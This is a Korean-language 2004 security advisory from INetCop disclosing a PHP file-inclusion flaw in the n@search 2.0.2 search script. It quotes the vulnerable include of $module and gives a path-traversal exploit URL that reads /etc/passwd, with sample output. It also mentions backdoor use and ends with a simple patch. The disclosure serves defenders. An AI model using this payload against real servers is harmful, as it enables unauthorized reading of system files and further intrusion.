
	========================================
	INetCop Security Advisory #2004-0x82-024
	========================================


* Title: Nasearch PHP Injection exploit


0x01. Description


PHP 프로그래밍 중 주의해야 할 것이 바로 PHP Injection 취약점입니다.
대한민국의 많은 게시판 및 웹 솔루션들이 바로 이 취약점에 무력화됩니다.
저희 INetCop Security Team에서는 다음과 같은 nasearch 취약점을 발견하였습니다.

nasearch/skin/empas/preview.php
...
include"../../header.inc";
include"../../nasch_connect.php";
include"../../lib.php";
include"../../$module";
...

$module 변수는 공격 target이 될 것입니다.


0x02. Vulnerable Packages


Vendor site: http://navyism.com/

n@search 2.0.2
-nasearch202.zip
+Unix
+Linux
+Other


0x03. Exploit


그것은 매우 간단하게 exploit 될 수 있습니다.
local 파일을 불러올 수 있으며, 특정 PHP 문법을 실행하여 백도어로 사용될 수 있습니다.
다음은 /etc/passwd 파일 내용을 불러오는 공격 예제입니다.

http://nasearch_host/skin/empas/preview.php?module=../../../../../../../../etc/passwd

공격 결과: --

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
games:x:12:100:games:/usr/games:
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/:

.. /etc/passwd 파일 내용이 화면에 출력됨 ..

--


0x04. Patch


문법적으로 막을 수 있는 방법은 다음과 같습니다.

nasearch/skin/empas/preview.php:
...
// patch core
if(eregi("..\/",$module))
{
        printf("\$module error");
        exit;
}
...

--
감사합니다.


--
By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.

MSN & E-mail: szoahc(at)hotmail(dot)com,
              xploit(at)hackermail(dot)com

INetCop Security Home: http://www.inetcop.org (Korean hacking game)
             My World: http://x82.inetcop.org

GPG public key: http://x82.inetcop.org/h0me/pr0file/x82.k3y
--